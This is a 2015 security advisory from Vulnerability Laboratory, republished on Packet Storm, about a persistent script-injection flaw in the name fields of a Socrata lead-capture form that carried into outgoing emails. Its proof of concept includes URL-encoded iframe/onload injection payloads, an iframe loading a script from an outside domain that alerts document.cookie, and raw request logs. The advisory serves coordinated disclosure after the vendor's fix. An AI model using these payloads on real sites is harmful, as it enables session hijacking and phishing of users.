Socrata Online Service Script Insertion

2015-04-23T00:00:00
ID PACKETSTORM:131600
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2015-04-23T00:00:00

Description

                                        
                                            `Document Title:  
===============  
Socrata Bug Bounty #1 - Persistent Encoding Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1438  
  
  
Release Date:  
=============  
2015-04-22  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1438  
  
  
Common Vulnerability Scoring System:  
====================================  
3.3  
  
  
Product & Service Introduction:  
===============================  
Private Socrata Bug Bounty Program - BC  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered an application-side input validation vulnerability in the Socrata online service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-02-24: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)  
2015-02-24: Vendor Notification (Socrata Security Team - Silent Bug Bounty Program)  
2015-02-24: Vendor Response/Feedback (Socrata Security Team - Silent Bug Bounty Program)  
2015-02-24: Vendor Fix/Patch (Socrata Developer Team)  
2015-02-25: Bug Bounty Reward (Socrata Security Team - Silent Bug Bounty Program)  
2015-04-22: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Socrata Inc  
Product: Socrata Online Service - Web Application 2015 Q1  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
An application-side mail encoding web vulnerability has been discovered in the official Socrata online service web-application.  
The vulnerability allows remote attackers to bypass the outgoing mail filter validation of the socrata web-server & web-application.  
  
The vulnerability is located in the first- and lastname values of the `leadCapture/save` module. Remote attackers without privileged application   
user account are able to inject persistent malicious script codes. The script code execution occurs in the notification mail to the service but   
also to the active user copy mail. The persistent injected script code executes in the header section were the database context of the first- and   
lastname will be displayed. The sender interacts automatically by usage of the discover.socrata.com service. The validation of the db stored outgoing   
values is wrong encoded and allows persistent injections of malicious script codes via POST method. The attack vector is persistent and the request   
method to inject is POST.  
  
The security risk of the mail encoding web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.  
Exploitation of the web vulnerability requires no privileged web-application user account and low or medium user interaction because of the   
persistent attack vector. Successful exploitation of the encoding vulnerability results in session hijacking, persistent phishing, persistent   
external redirects and persistent manipulation of web header or mail body context.  
  
Vulnerable Domain(s):  
[+] discover.socrata.com  
  
Vulnerable Module(s):  
[+] index.php/leadCapture/save  
  
Vulnerable Parameter(s):  
[+] firstname  
[+] lastname  
  
Affected Sender(s):  
[+] sales@socrata.com  
  
Affected Receiver(s):  
[+] bkm@evolution-sec.com  
  
Affected Context Module(s):  
[+] Service Notification Mail (Users)  
  
  
Proof of Concept (PoC):  
=======================  
The vulnerability can be exploited by remote attackers without privileged application user account or user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. Surf to the vulnerable service page  
2. Inject payload to the firstname and lastname values  
3. Save the content  
4. View your mailbox to review the malicious mail  
5 Successful reproduce of the security vulnerability!  
  
  
PoC: Thank You for Downloading "The 2014 Benchmark Report"  
  
<tbody><tr><td valign="top"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody>  
<tr><td style="font-family:Helvecita, Arial,sans-serif; font-size:26px; line-height:30px; color:#2f2b26;  
padding:35px 20px 35px 20px; " align="center" valign="top"><div id="TopHeadline" class="mktEditable">2014 Open Data Benchmark Report</div>  
</td>  
</tr>  
<tr><td colspan="2" align="left" valign="top"><div class="headerDefault"><div id="Header" class="mktEditable"></div>  
</div>  
</td>  
</tr>  
</tbody></table>  
</td>  
</tr>  
<tr><td style="padding:25px 25px 50px 25px; "><table class="column1" style="background:#fff; " align="left" border="0" cellpadding="0"  
cellspacing="0"><tbody><tr><td style="font-family:Helvetica,Arial,sans-serif; color:#928e8b; font-size:16px; line-height:20px;  
padding-bottom:25px; " valign="top"><div id="SubHeadline" class="mktEditable">Read the Full Report</div>  
</td>  
</tr>  
<tr><td style="font-family:Helvetica,Arial,sans-serif; color:#555555; font-size:12px; line-height:17px; " valign="top"><div id="Body"  
class="mktEditable"><p style="margin-top: 0;">Hello ">[PERSISTENT INJECTED SCRIPT CODE HERE!]<iframe src="http://www.evolution-sec.com/peng.js" onload="alert(document.cookie),</p">  
<p><span><p>Thank you for your interest in Socrata. You can download the 2014 Open Data Benchmark Study at any time by clicking the Download Now button below.</p>  
<p>An effective digital portal is the foundation of improving efficiency with open data. Learn how the <a href=  
"http://info.socrata.com/P000y0zS9I1GB80m0SpI193" target="_blank"  
>Socrata Open Data Portal</a> can help you streamline data publishing as well as enable others to search, query, and visualize your data with ease.</p></span></p>  
<p>Sincerely,<br /> The Socrata Team </p></div>  
<table border="0" cellspacing="0" cellpadding="0" width="130" ><tr ><td valign="top" style="line-height:38px;">  
<img src="http://discover.socrata.com/rs/socrata/images/SOC-2001-EmailTemplate_button-bg-left.png" width="4" height="38" style="display:block;"></td>  
<td valign="middle" align="center" width="122" style="background:#3688c7; font-family:Arial,sans-serif; font-size:11px; " id="cta" >  
<div class="mktEditable" id="ctabutton" ><a style="color: #fff; text-decoration: none;" href="http://info.socrata.com/dc/etTJjiR4FWljikJd-Q32ft94T9WmU3brfUe91EtPV5Ni0xg-  
fugbOrtKryWragOmEUOmuznx6oKiB7-ZI_vvTlWvpJxF-ZMxGVvTpDTBBgewMyZQls7ugS6M1FrTI_N_/DSz801n0IIS00m019y3G0z9">Download Now</a></div>  
</td>  
<td valign="top" style="line-height:38px;"><img src="http://discover.socrata.com/rs/socrata/images/SOC-2001-EmailTemplate_button-bg-right.png" width="4" height="38" style="display:block;"></td>  
</tr>  
</table>  
</td>  
</tr>  
</table>  
</td>  
</tr>  
</table>  
</td>  
</tr>  
  
  
--- PoC Session Logs [POST] (Injection) ---  
18:22:52.246[607ms][total 607ms] Status: 200[OK]  
POST http://discover.socrata.com/index.php/leadCapture/save2 Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[162] Mime Type[application/json]  
Request Header:  
Host[discover.socrata.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]  
Accept[application/json, text/javascript, */*; q=0.01]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]  
X-Requested-With[XMLHttpRequest]  
Referer[http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report]  
Content-Length[1547]  
Cookie[_ga=GA1.2.1116345037.1424797254; _mkto_trk=id:851-SII-641&token:_mch-socrata.com-1424797253790-11625; BIGipServerabkweb_app_http=805830922.20480.0000; _ga=GA1.3.1116345037.1424797254; __ar_v4=VEJ5FE467RDKVEKTJM4OBA%3A20150226%3A4%7CYVZAENVZKNFATNFDNV7HDD%3A20150226%3A6%7CBASXJGCN7FCI5NFI65M4R7%3A20150226%3A6%7CZV6R5RYQUZFC7NTFHALGCQ%3A20150226%3A2; _bizo_bzid=2dccc537-d055-4ced-8648-cc5eff5e5db6; _bizo_cksm=2A2F66AADC1BB497; _bizo_np_stats=14%3D75%2C; __csess=1424799445047.9ZTM9L.; _gat_UA-9046230-4=1; __cdrop=.7YI4DD.]  
Connection[keep-alive]  
Pragma[no-cache]  
Cache-Control[no-cache]  
POST-Daten:  
FirstName[%22%3E%3Ciframe%20src%3Da%20onload%3Dalert(%22PENTEST%22)]  
LastName[%22%3E%3Ciframe%20src%3Da%20onload%3Dalert(%22PENTEST%22)%20%3C]  
Email[bkm%40evolution-sec.com]  
Company[sap%20epi]  
Title[pentester%2023%20ONE]  
testtest__c[]  
Opt_in_Checkbox__c[Yes]  
UTM_Term__c[]  
UTM_Source__c[website]  
UTM_Medium__c[organic]  
UTM_Content__c[benchmark-ctas]  
UTM_Campaign__c[2014-benchmark-report]  
RF_HQ_Company_Name__c[]  
RF_MS_Address1__c[]  
RF_MS_Address2__c[]  
RF_MS_Annual_Revenue__c[]  
RF_MS_City__c[]  
RF_MS_Company_Name__c[]  
RF_MS_Confidence_Level__c[not%20found]  
RF_MS_Employee_Location_Count__c[]  
RF_MS_Employee_Total_Count__c[]  
RF_MS_Inferred_Area_Code__c[]  
RF_MS_Inferred_City__c[Heidelberg]  
RF_MS_Inferred_Country__c[Germany]  
RF_MS_Inferred_State__c[Baden-Wurttemberg]  
RF_MS_Location_Type__c[]  
RF_MS_NAICS_Name__c[]  
RF_MS_NAIC_Code__c[]  
RF_MS_Phone__c[]  
RF_MS_SIC__c[]  
RF_MS_SIC_Code__c[]  
RF_MS_SIC_Name__c[]  
RF_MS_State_Code__c[]  
RF_MS_State_Name__c[]  
RF_MS_Subsidiary_Code__c[]  
RF_MS_Trade_Name__c[]  
RF_MS_URL__c[]  
RF_MS_postal_Code__c[]  
Qualification_PM_Highest_Priorities__c[Public%20Safety]  
formid[1968]  
lpId[4775]  
subId[147]  
munchkinId[851-SII-641]  
lpurl[http%3A%2F%2Fdiscover.socrata.com%2F2014-Open-Data-Benchmark-Report_Landing-Page-B.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D]  
cr[]  
kw[]  
q[]  
_mkt_trk[id%3A851-SII-641%26token%3A_mch-socrata.com-1424797253790-11625]  
formVid[1968]  
_mktoReferrer[http%3A%2F%2Fdiscover.socrata.com%2F2014-open-data-benchmark-report.html%3Futm_source%3Dwebsite%26utm_medium%3Dorganic%26utm_content%3Dbenchmark-ctas%26utm_campaign%3D2014-benchmark-report]  
Response Header:  
Server[nginx]  
Date[Tue, 24 Feb 2015 17:22:57 GMT]  
Content-Type[application/json; charset=utf-8]  
Content-Length[162]  
Connection[keep-alive]  
Access-Control-Allow-Origin[*]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
-  
18:22:52.871[1070ms][total 1332ms] Status: 200[OK]  
GET http://discover.socrata.com/2014-benchmark-report-email-thank-you.html?aliId=5515772 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[6524] Mime Type[text/html]  
Request Header:  
Host[discover.socrata.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report]  
Cookie[_ga=GA1.2.1116345037.1424797254; _mkto_trk=id:851-SII-641&token:_mch-socrata.com-1424797253790-11625; BIGipServerabkweb_app_http=805830922.20480.0000; _ga=GA1.3.1116345037.1424797254; __ar_v4=VEJ5FE467RDKVEKTJM4OBA%3A20150226%3A4%7CYVZAENVZKNFATNFDNV7HDD%3A20150226%3A6%7CBASXJGCN7FCI5NFI65M4R7%3A20150226%3A6%7CZV6R5RYQUZFC7NTFHALGCQ%3A20150226%3A2; _bizo_bzid=2dccc537-d055-4ced-8648-cc5eff5e5db6; _bizo_cksm=2A2F66AADC1BB497; _bizo_np_stats=14%3D75%2C; __csess=1424799445047.9ZTM9L.; _gat_UA-9046230-4=1; __cdrop=.7YI4DD.]  
Connection[keep-alive]  
Response Header:  
Server[nginx]  
Date[Tue, 24 Feb 2015 17:22:58 GMT]  
Content-Type[text/html; charset=utf-8]  
Content-Length[6524]  
Connection[keep-alive]  
p3p[CP="CAO CURa ADMa DEVa TAIa OUR IND UNI COM NAV INT"]  
Vary[*,Accept-Encoding]  
Content-Encoding[gzip]  
  
Reference(s):  
http://discover.socrata.com/index.php/leadCapture/save2  
http://discover.socrata.com/2014-benchmark-report-email-thank-you.html?aliId=5515772  
http://discover.socrata.com/2014-open-data-benchmark-report.html?utm_source=website&utm_medium=organic&utm_content=benchmark-ctas&utm_campaign=2014-benchmark-report  
  
  
Solution - Fix & Patch:  
=======================  
Encode and Parse the firstname and lastname values in the contact formular. Restrict the input to disallow injection of special chars or script codes.  
Parse the outgoing contact of mails with user values to prevent persistent script code execution in mail body with user values.  
  
  
Security Risk:  
==============  
The security risk of the application-side mail encodeing web vulnerability is estimated as medium. (CVSS 3.3)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed   
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable   
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab   
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for   
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,   
policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com  
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.  
  
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
CONTACT: research@vulnerability-lab.com  
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt  
  
`